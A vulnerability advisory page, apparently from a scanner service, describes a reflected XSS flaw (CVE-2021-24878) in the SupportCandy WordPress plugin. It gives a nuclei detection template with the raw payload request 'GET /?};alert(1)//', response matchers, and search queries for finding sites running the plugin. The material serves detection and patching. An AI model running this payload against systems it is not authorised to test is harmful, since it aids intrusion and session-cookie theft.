SupportCandy < 2.2.7 - Reflected Cross-Site Scripting

mediumseverity

6.1CVSS score

1.3%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

The SupportCandy WordPress plugin before 2.2.7 does not sanitise and escape the query string before outputting it back in pages with the [wpsc_create_ticket] shortcode embed, leading to a Reflected Cross-Site Scripting issue

Impact

Attackers can inject malicious JavaScript via reflected XSS in pages with wpsc_create_ticket shortcode, potentially stealing user session cookies or manipulating support ticket data.

Fix

Fixed in 2.2.7

How to confirm it

Send: GET /?};alert(1)//
Positive when: contains "var attrs = {};alert(1)//:" and "wpsc_create_ticket_init" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24878 -u <target>

The full check

id: CVE-2021-24878

info:
  name: SupportCandy < 2.2.7 - Reflected Cross-Site Scripting
  author: popcorn94
  severity: medium
  description: |
    The SupportCandy WordPress plugin before 2.2.7 does not sanitise and escape the query string before outputting it back in pages with the [wpsc_create_ticket] shortcode embed, leading to a Reflected Cross-Site Scripting issue
  impact: |
    Attackers can inject malicious JavaScript via reflected XSS in pages with wpsc_create_ticket shortcode, potentially stealing user session cookies or manipulating support ticket data.
  remediation: Fixed in 2.2.7
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24878
    - https://github.com/andrewcy86/supportcandy(plugin)
    - https://wpscan.com/vulnerability/d2f1fd60-5e5e-4e38-9559-ba2d14ae37bf/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24878
    cwe-id: CWE-79
    epss-score: 0.01345
    epss-percentile: 0.71641
    cpe: cpe:2.3:a:supportcandy:supportcandy:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: supportcandy
    product: supportcandy
    framework: wordpress
    fofa-query: body="/wp-content/plugins/supportcandy/"
    publicwww-query: "/wp-content/plugins/supportcandy/"
  tags: cve,cve2021,wordpress,wpscan,wp-plugin,supportcandy,xss,vkev,vuln

http:
  - raw:
      - |
        GET /?};alert(1)// HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "var attrs = {};alert(1)//:"
          - "wpsc_create_ticket_init"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from